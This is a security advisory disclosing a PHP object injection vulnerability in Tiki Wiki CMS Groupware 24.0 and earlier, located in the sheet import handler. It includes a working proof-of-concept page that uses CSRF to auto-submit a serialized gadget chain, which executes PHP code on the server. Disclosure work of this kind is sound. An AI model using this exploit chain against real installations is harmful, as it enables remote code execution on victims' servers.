`-----------------------------------------------------------------------------  
Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection   
Vulnerability  
-----------------------------------------------------------------------------  
  
  
[-] Software Link:  
  
https://tiki.org  
  
  
[-] Affected Versions:  
  
Version 24.0 and prior versions.  
  
  
[-] Vulnerability Description:  
  
The vulnerability is located in the /lib/sheet/grid.php script,   
specifically into the TikiSheetSerializeHandler::_load() method, which   
is using the unserialize() PHP function with user-controlled input. This   
can be exploited by malicious users to inject arbitrary PHP objects into   
the application scope, allowing them to perform a variety of attacks,   
such as executing arbitrary PHP code. Successful exploitation of this   
vulnerability requires the “Spreadsheets” feature to be enabled and an   
account with permissions to create a new sheet. However, due to the CSRF   
vulnerability described in KIS-2023-01, this vulnerability might also be   
exploited by tricking a victim user into opening a web page like the   
following:  
  
<html>  
<form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1"   
method="POST" enctype="multipart/form-data">  
<input type="hidden" name="handler" value="TikiSheetSerializeHandler"   
/>  
<input type="file" name="file" id="fileinput"/>  
</form>  
<script>  
const popChain =   
'O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}';  
const fileInput = document.getElementById("fileinput");  
const dataTransfer = new DataTransfer();  
const file = new File([popChain], "test");  
dataTransfer.items.add(file);  
fileInput.files = dataTransfer.files;  
document.forms[0].submit();  
</script>  
</html>
